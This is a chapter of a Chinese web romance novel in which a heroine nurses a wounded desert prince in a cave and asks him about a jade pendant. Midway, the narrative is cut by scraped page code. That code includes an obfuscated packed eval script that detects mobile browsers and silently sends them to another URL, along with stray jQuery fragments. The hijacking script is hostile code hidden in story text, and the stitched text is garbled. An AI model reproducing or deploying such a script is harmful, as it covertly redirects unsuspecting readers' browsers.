2. 第二章 脆弱又可怜

作品:《捡到傲娇猫猫后

    烈阳高高悬挂在万里无云的天空,灼热的空气让视野都变得有些扭曲。


    谢飞琼手里抓着一条碗口粗的死蛇,正吃力地往他们临时找的洞穴里拖去。


    好不容易躲了进去,她已经被热得大汗淋漓。


    洞穴内除了自己的急促呼吸外,还有一道格外沉重的声音,谢飞琼皱眉摸去,发现自己半拖半拽救回来的人此刻已经发起了高烧。


    她暗道不妙,他们如今处境孤立无援,身上又没什么能用的药,这人伤势严重极容易被感染,高烧不退就是第一个症状。


    谢飞琼晃了晃他,连声询问:“喂!快点醒醒!你可千万别发烧昏过去了!”


    阿萨伽迷瞪瞪地睁开眼睛,只觉得喉咙里像是堵了一嗓子沙子,干哑难耐,于是嘴唇嗫嚅道:“水……给我点水……”


    谢飞琼摘下了挂在他身上的水壶,勉强把里面所剩不多的水滋润了一下阿萨伽干渴的喉咙,问道:“你有没有带药啊什么的?你的伤要是再不处理,恐怕活不到你回去了。”


    阿萨伽强撑着说:“没有了……跑丢了。”


    这下可怎么办……


    谢飞琼眉毛死死皱起,将水壶拧好,想着,不然她先离开?这人伤成这样,恐怕是凶多吉少,不能算她说话不算话。


    就算是个绝美的拖油瓶,那也是拖油瓶。


    心下定了主意,她将水壶动作粗鲁地塞回原位,站起身来就想走,不料水壶拽掉了什么东西,掉在地上发出一声脆响。


    谢飞琼下意识看了过去,看见一个绿色的东西掉在阿萨伽旁边,哪怕在黑暗中也莹莹发着绿光。


    熟悉的花纹使谢飞琼瞪大了眼睛,捞起那块发光的玉佩,问道:“这是你的?喂!快醒醒,这是你的吗?”


    阿萨伽意识有些涣散,强力睁开眼睛,微不可见地点点头:“是……”


    “这是谁给你的?”


    阿萨伽烧得有些糊涂:“忘记了,大祭司?”


    谢飞琼见人无法沟通,目光便死死黏在那块玉佩上,心下惊异。


    这块玉佩上的花纹她曾经见过,肯定与师父有关。


    但是具体是在哪见的,她却想不起来了。


    不肯放过任何一点线索,谢飞琼决定先把人救了,等人清醒了再细细问,说不准真能找到师父的下落。


    说干就干,谢飞琼利落地将胸口的流砂晶扯了下来,又把那块巴掌大的黄色矿石塞进阿萨伽衣服里。


    皮肉滚烫,谢飞琼焦急地思索哪里能找到治疗的草药。


    哪里呢?


    她的目光转移到了门口守着的猎鹰身上。


    很快到了深夜,艾尔塔的夜晚气候寒冷无比,与白日有极大的温差。


    哪怕是在洞穴深处,因为高烧而极度畏寒的阿萨伽还是冻得睁开了眼睛。


    绿色的眼睛让他能够更好地适应黑暗的环境,但是他目之所及却并没有任何活物。


    不管是那个燕人姑娘,还是他的猎鹰。


    阿萨伽心里只有一点点失落,随即像是毫不意外似的接受了自己又被抛下的事实。


    本来也只是空口许诺,人家未必相信,更何况自己现在伤势严重,高烧不退,带着逃跑更是累赘。


    阿萨伽唇干舌燥,身上密密麻麻的伤口都在痛着,让他连抬手都觉得困难,索性就那么愣愣地发呆。


    父王让他出来寻找流砂田,他不仅没有找到还让整个小队全军覆没,实在是罪责难逃。


    虽然他一直都怀疑着,为什么荻族恰好完美地和他们相撞,并且堵住了所有逃跑的路线?哪怕他尽力突围,却依然被精准地拿捏住了位置,导致伤亡惨重。


    这是怎么回事?


    阿萨伽想的头痛欲裂,只好放弃思索。


    母亲将死三个月,他顺着燕人的传统戴上了白色的孝布,忍受着其他兄弟姐妹的嘲讽和讥笑。


    半个月前,原本视他如无物的父王突然召见,身边的传话人告诉他,自己被委以重任,要寻找到沙漠腹地的流砂田,帮助骊族再次强大兴盛、成为沙漠第一强族。


    那是他是怎么说的来着?


    “是,父王,感谢您的重视和信任,儿臣定当不负所托!”


    阿萨伽天南海北地到处乱想,回马灯都过了一轮,深觉活不过今日。然而,在彻底闭眼之前,洞口出现了一个黑色的身影,挡住了洒进来的月光。


    那身影肩膀上还突出了一块,像是站着什么东西。


    “哎呦我靠,真是够冷的!”谢飞琼怀里抱着一大堆衣服,身上所有兜都装满了从那群羌人身上搜刮来的药品。


    “喂!你还活着不?我给你拿药来了!”


    阿萨伽怔怔地看着,觉得眼前的一幕说不出来的熟悉。


    不等他思考出来,他两眼一黑,头一歪,昏死了过去。


    “哎妈呀!”谢飞琼刚一伸手摸他额头就被吓了一跳,“这么烫!可别烧傻了!”


    她动作迅速地把药都拿了出来,自己挡在风口,扒开阿萨伽的衣服将伤口暴露出来。


    “嘶,怪不得感染呢……”


    伤口已经腐烂,多处流出腥臭的脓液,谢飞琼余光瞥了一眼阿萨伽的脸,确认人是昏迷的,乐道:“嘿,这下麻药也不用了,正好!”


    她熟练地用匕首将伤口处的腐肉都清理掉,撒上了一些金疮药粉,苦于没有合适的绷带,只好割了自己的中衣来帮人包扎。


    阿萨伽哪怕是在昏迷中也痛苦地眉头紧皱,但是牙关紧闭,宁肯咬碎牙龈也不肯出一声,硬是抗得满头大汗。


    谢飞琼这边也忙得不行,主要人伤处实在太多,还有几处贯穿伤。


    她只能简单处理一下,身边没有合适的条件和药物,这些伤口能否恢复、恢复的怎么样都只能看这人自己了。


    几乎是把人捆了一个遍,谢飞琼热得出了一头汗。此时再看阿萨伽,人虽然还是皱着眉头,但是出了点汗,烧略微降了下去。


    谢飞琼此时才正式打量这个自己费了半天劲救的野人。


    猫儿似的大眼睛是特殊的绿色,虽然紧紧闭着,她也依旧能想象出来。头小肩宽、腰窄腿长,身材棒长得更棒。


    谢飞琼颇为怜惜地拍了拍人苍白的脸颊,目光锁在阿萨伽因为疼痛而颤动的长长的浓密的睫毛,惊叹道:西北的异域美人果真是不负盛名,连她都有点舍不得人死了。


    把那些从追兵身上扒下的衣服整理了一下,谢飞琼给人盖好了“被子”。


    筑巢似的围成一个圈,谢飞琼隔了一段距离也躺下了。


    她半开玩笑道:“哎,老鹰,看着点你家主人,他要是快死了你叫我一声,听见没?”


    猎鹰没理她,她也不在意,闭上眼睡了。


    因为走了一天的路又帮人处理伤口,谢飞琼累得睡到日上三竿才醒,身上盖的衣服都被她踢掉了。


    身边原本昏迷着的人也不见了踪影,谢飞琼一惊,慌忙爬起来!


    坏了坏了,别不是追兵夜里趁她睡着把人带走了吧!</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105909|163870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她这一起身,当啷掉了一个东西,定睛一看,原来是自己昨日塞在阿萨伽胸口的流砂晶。


    那些人有那么好?还知道物归原主?


    “你醒了?”身后传来一声低哑的询问,谢飞琼一回头,看见脸色依旧苍白的病人手里正握着她昨日带来的死蛇。


    “我看你累了,所以想帮你处理一下这些。”阿萨伽抿了抿嘴,嘴唇干燥起皮。


    谢飞琼眉头皱着,训道:“你伤还没好,乱动什么!快点回来躺着!”


    阿萨伽一愣,张了张嘴想为自己辩解一下,终究还是没出声,乖乖躺回来了。


    “我没别的意思,我就是想——”


    “好了好了,我知道你的意思。”谢飞琼毫不在意地打断,“你快点把伤养好就是最大的帮忙了!”


    阿萨伽有点不好意思地点了点头,说:“好的。”


    谢飞琼一经提醒才想起来,自己得有一整天都没吃饭了,肚子也给力地咕咕叫了起来。


    她走了过去,发现除了自己的死蛇,还有几只兔子什么的也歪着头躺在那里。


    谢飞琼抬眼,和站在一边的猎鹰对上视线,比了个大拇指,夸赞道:“好样的老伙计!”


    猎鹰高贵冷艳:“咕咕——”


    阿萨伽笑了笑,静静地注视着这个中原姑娘忙前忙后。


    倒是他小瞧了人。


    原本看着她身材纤弱,面容更是兔子一样的无害柔软,他下意识忽略了人前日单挑荻人队长并把人击倒的战绩,想着帮人处理一下猎物。


    没想到她看着相当熟练,能吃的不能吃的分得清清楚楚,扒皮掏内脏动作如行云流水,让她做得都有几分观赏性。


    谢飞琼一边忙着生火烤肉,另一边还不忘给猎鹰喂一点,乐道:“哎,这是你自己训的鹰?叫什么名字?看着倒是怪聪明的。”


    阿萨伽不好意思真躺着等人喂到嘴边,坐在一边帮着添柴,闻言笑了笑:“是,这是我自己养的,它叫力玛,是我的好战友。”


    谢飞琼点点头,赞许道:“这鹰真不错,昨日我去搜刮药品,它还一路咕咕叫着把我带到有水的地方灌了壶水,不然咱俩早就渴死了。”


    阿萨伽刚张嘴,嘴里被塞进来一块热腾腾的肉,虽然没什么调料,但是好歹不难吃。


    他默默垂着眼睛,认认真真把肉嚼烂了咽下去,这才开口说话:“我还没问……你叫什么名字?”


    他语气里带着一点说不清道不明的期待,源于昨日昏死前那一抹熟悉的感觉。


    会不会,会不会是那个人呢?


    谢飞琼无所谓自己的名讳,大大方方说:“我叫谢飞琼,燕语的意思是,飞舞的花。”


    阿萨伽点点头,因为没报多大期望倒是不算失望,在心里反复拒绝这个有些拗口的名字,用还算标准的中原话说:“谢、飞、琼?”


    谢飞琼终于舍得把注意力从猎鹰力玛那里移开,颇有几分惊讶:“哇,你燕语说的那么好?”


    阿萨伽有点腼腆地笑了一下,耳尖微红:“还好,我的母亲是燕人。”


    谢飞琼随意点点头,突然问:“你叫什么名字?”


    阿萨伽一愣,回答:“阿萨伽尔,你可以叫我阿萨伽,或者伽尔,都可以。”


    “好的阿萨伽,”谢飞琼说,“你身上有一块绿色的玉佩,你还记不记得?你能不能告诉我,它是从哪来的?”


    谢飞琼的目光平静,但是又紧紧盯着他腰部玉佩的位置,好似有点紧张。